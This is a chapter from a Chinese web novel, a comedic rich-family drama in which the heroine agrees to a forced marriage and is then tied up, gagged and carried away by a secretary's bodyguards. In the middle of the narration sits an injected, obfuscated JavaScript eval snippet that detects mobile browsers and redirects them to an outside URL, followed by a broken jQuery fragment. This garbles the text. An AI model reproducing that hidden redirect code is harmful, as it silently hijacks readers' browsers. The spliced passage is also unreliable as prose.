29. 第 29 章

作品:《顶流她每天都想退圈[穿书]

    商晚陷入了一种难言的沉默。


    在此之前,她想过无数种可能:


    譬如傅家严要她表面跟傅沉浓情蜜意,背地里却把傅沉接下来的所有计划全卖给他,好叫这位跟亲爹斗法的男主一败涂地,认清楚到底谁才是爹。


    又譬如傅家严突发恶疾,觉得光做掉她一个实在是不够解气,于是准备连她带杨姐一块儿,全埋到烂尾楼底下当工业废料。


    但商晚属实是没料到,这老东西的脑回路还能这么清奇。


    为了彻底斩断她跟傅沉的可能,这老东西居然能想出让她嫁给傅铎这么逆天的主意。


    这还是正常人吗这?!


    再说了,就算这姓傅的老东西真就这么不把小儿子的终身大事当回事,傅铎难道还能同意吗?


    商晚用脚都能看出来,傅铎明显是准备捂着自己哥控的马甲不撒手的。


    就这么让他跟自己亲哥的“真爱嫂子”结婚,他能答应就有鬼了!


    槽点太多,商晚无从吐起。


    过了好一会儿,她才终于哽着喉咙,艰难地问系统:“不是,这难道就是狗血小说的精髓吗?”


    好好的办法不想,非要整这死出!


    系统难得对商晚的无语感同身受了一秒钟。


    它犹豫片刻,正想着要不要安慰宿主两句,就听商晚继续道:“再说了,这狗屁办法能管用才真叫见鬼了——


    “傅家严这老东西难道不知道,背德也是言情小说中让人喜闻乐见的一部分吗?”


    系统:“……”


    安慰的话还没说出口,就这么被堵在了程序指令上,好悬没让它嘎巴一下死机了。


    烂尾楼的天台上,商晚仍在喋喋不休地跟系统吐槽。


    她说:“就傅沉那阴湿男鬼的变态性格,好端端的恋爱都能让他谈成非法拘禁。真要是让他吃上背德这口饭,他指不定要打开什么新世界的大门呢!”


    系统:“……”


    它发誓,它以后要是再同情姓商的,它就是人工智障!


    商晚无语的时间太长,范秘书不由得轻轻咳嗽了一下。


    她看着呆愣的商晚,缓声劝她:“商小姐,我知道您和小傅总感情很好,不愿意跟他分手,可我们傅铎少爷也不差什么,他是傅氏集团的二公子,要是论起傅家的产业,他也能分到……”


    范秘书的话没能说完。


    因为下一秒,商晚就打断她道:“好。”


    语气果断又平静,一丝犹豫也没有。


    俨然一个迫不及待嫁进豪门的捞女。


    范秘书:“?”


    这不对吧?


    这件事的发展节奏,难道不应该是商南枝拒不同意,她威逼利诱;商南枝宁死不从,她让保镖把装着杨明亦的铁笼再晃上个十七八回,商南枝提心吊胆,却又不敢反抗,最终只能含泪答应吗?


    她准备好的一大堆话术都还没用上呢?


    商南枝这就点头了?


    这也太快了吧!


    范秘书下意识觉得有诈,狐疑地打量了一眼商晚。


    没料到,商晚立马朝她打出了一套相当丝滑的连招。


    商晚道:“老傅总准备让我跟傅铎什么时候登记啊?


    “明天是工作日,我六点钟就去民政局门口排队,等他们一开门我就跟傅铎把婚结了,你看行吗?


    “婚后需要我跟傅铎同居吗?


    “我个人不太喜欢搬家,太累了,而且我毕竟是个大明星,住的地方对私密性要求还是很高的——


    “要是让傅铎住到我那去,他能同意吗?


    “我虽然在娱乐圈里混,但我本人还是比较洁身自好的,保证没有什么传染病。


    “你们家傅铎也没有的吧?


    “婚前可得做体检啊,不体检我不放心的!”


    系统:“……”


    该死,它为什么从宿主的语气里听出了迫不及待!


    范秘书:“……”


    她被商晚连珠炮般的话语弄得恍惚了一下,过了好一会儿,她才迟疑地问:“商小姐这是答应了?”


    商晚眼睛都没眨一下:“答应,这我肯定答应啊!”


    开玩笑,傅铎也是她的羁绊值收集对象好吗?


    她要是一面当着傅沉的合作伙伴,一面又成了傅铎最恨的人强行塞给他的老婆——


    商晚简直不敢想,这任务进度不得一下涨到飞起啊!


    这么划算的买卖,她又不是傻子,为什么不答应?


    商晚越想越觉得这主意实在是妙。


    几秒钟后,她甚至开始饶有兴致地问系统:“统统,你觉得我要是在跟傅铎离婚的时候分走他一半家产,他会不会心痛到羁绊值暴涨啊?,


    “毕竟上回我才叫他花了几千万给我买礼服,他就肉痛到给我涨了两点羁绊值,我看他多半还是能花钱收买的。”


    系统:“……”


    它真服了,到底谁花钱收买谁啊!


    天台上,范秘书被商晚放光的双眼晃了一下又一下。


    该死,商南枝先前不愿意要他们董事长那一个亿,不会不是因为跟他们傅沉少爷情比金坚,而是嫌她给少了吧?


    商晚太过配合,范秘书半根刺都没挑出来。


    她摆摆手,让身后的保镖停止摇晃,把杨明亦给放了下来。


    铁链轻轻下落,随着一声巨响,那个吊着杨明亦的铁笼终于重新回到了地上。


    飞起的灰尘被夜风吹到商晚脸上。


    商晚抬手抹了一把脸,对范秘书说:“行了,不用再说那些有的没得了,我直接跟你走——既然目的已经达成了,你现在能把杨姐放了吧?”


    寒冷的夜风里,范秘书看看商晚,又看看杨明亦,思索了两秒钟。


    商晚的手心沁出了一层薄薄的汗。


    不管要不要跟傅铎结婚,只要杨姐还在傅家严那老东西手上,她就永远都受制于人。


    她必须得让范秘书放人。


    两秒钟后,范秘书抬起了头。


    她朝商晚露出一个相当温和的表情,说:“好,人可以放,不过商小姐需要稍微配合一下我的工作。”


    商晚长松一口气。


    然而,对上范秘书的目光,她的后背又莫名一凉。


    不知道为什么,她莫名从范秘书那个温柔的笑容中看出了一丝让人毛骨悚然的意味。


    商晚不详的预感只持续了几个呼吸——


    几个呼吸后,预感变成了现实。


    工业扬尘扑面的烂尾楼楼顶,一个差不多有两米高的壮汉手持麻绳,面无表情地朝商晚走了过来。


    商晚:“……”


    她在脑内疯狂呼叫系统:“啊啊啊啊啊!杀人啦!统统救命啊!”


    系统的程序都被商晚这一嗓子给吓死机了两秒,下意识就开始计算范秘书此刻的灭口概率来。


    几毫秒后,系统看着自己的计算结果,陷入了沉默。


    灭口概率:0.01%。


    系统:“……”


    这不是没准备杀人呢吗!


    嚎得跟马上就要见阎王了似的!


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17103975|194421||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    它调整了一下数据,刚准备把结果同步给商晚,下一秒,朝商晚走来的那位壮汉就放下麻绳,先从兜里掏出了一卷黑色胶带,默不作声地撕开,把商晚的嘴巴一圈一圈缠了起来。


    力道十分之大,在商晚没什么肉的脸上直接勒出了一道深深的瘀痕。


    系统:“……”


    行吧,宿主嚎得还是挺有道理的。


    几乎是被粘住嘴巴的一瞬间,商晚就开始了挣扎:“呜呜呜!”


    不是,姓范的到底讲不讲武德啊!


    她都这么配合了,有必要缠她的嘴,还缠这么紧吗?


    人和人之间的信任呢?!


    作为一名瘦得十分命苦的流量女星,商晚挣扎的那点力气,和眼前这位壮汉比起来,简直像是闹着玩似的。


    她用力扑腾了好几分钟,非但没脱身,还被壮汉大哥毫不费力地连手脚也一块儿绑了。


    绑完之后,壮汉兄仍觉不够保险,干脆提着捆她的绳子,像拎一只小鸡崽那样,单手将她给提溜了起来。


    做完这一整套动作,愣是连口气都没喘。


    商晚:“……”


    粗粝的绳索如同蟒蛇捕食猎物一般,缠紧了商晚的手脚,给她带来了血液流通不畅的涨、麻,还有疼。


    商晚抬起头,目光恰好和正在打量她的范秘书对上了。


    范秘书微微低头,神情愧疚。


    她叹息道:“实在是抱歉,安全起见,只能在商小姐身上做点小手脚了,希望商小姐能谅解。”


    商晚默不作声地在心里翻了个白眼,腹诽:“谅解你爹!”


    都给她捆成这样了!


    谁家好人管这叫“小手脚”啊?!


    她抬起眼,一个个把面前的人数了一遍。


    除开杨明亦,一共是六个人。


    五个保镖,一名秘书。


    等她从这六个王八蛋手里脱身,她非得毫厘不差地把这点“小手脚”在他们身上全使一遍不可!


    至于始作俑者——


    商晚不动声色地磨了磨后槽牙。


    就看傅家严那把老骨头受不受得了镇定剂和铁笼子了。


    浑身上下只剩下眼珠子和手指能动的商晚畅想得十分解气。


    就在她在脑海中幻想抓捕傅家严的现场时,一只黑色的垃圾袋被人毫不留情地套在了她的头上。


    眼前瞬间陷入了黑暗。


    这下,她连眼珠子也不必动了。


    商晚深吸一口气,一阵天旋地转后,有人将她扛到了肩上。


    紧接着,他们开始下楼。


    身体随着台阶的变动而起伏,商晚闭上眼睛,一边数台阶的级数,一边开始思考自己眼下的处境。


    她的手机虽然装了定位器,可早在被绑时,就被傅家严的人搜出来砸碎了。


    顾浔借给她的那十二个保镖,在她亲眼看到关着杨姐的铁笼子被晃起来后,也被她开口遣散回了车里。


    范秘书让人挨个儿搜了他们的身,把一切能传递消息的工具都收走了。


    范秘书嘴里说得很客气:要劳烦这十二位保镖先在烂尾楼下待着,等到她和傅铎的结婚证生效,他们就可以全须全尾地回去。


    一切都很正常。


    她只需要去登记结婚就能万事大吉。


    仿佛没有任何风险。


    商晚的脑子在倒置的环境下几乎被抖成了一滩搅拌均匀的糨糊,然而,她却还是敏锐地察觉到了一点不对劲。


    傅家严绝对不是要她嫁给傅铎这么简单。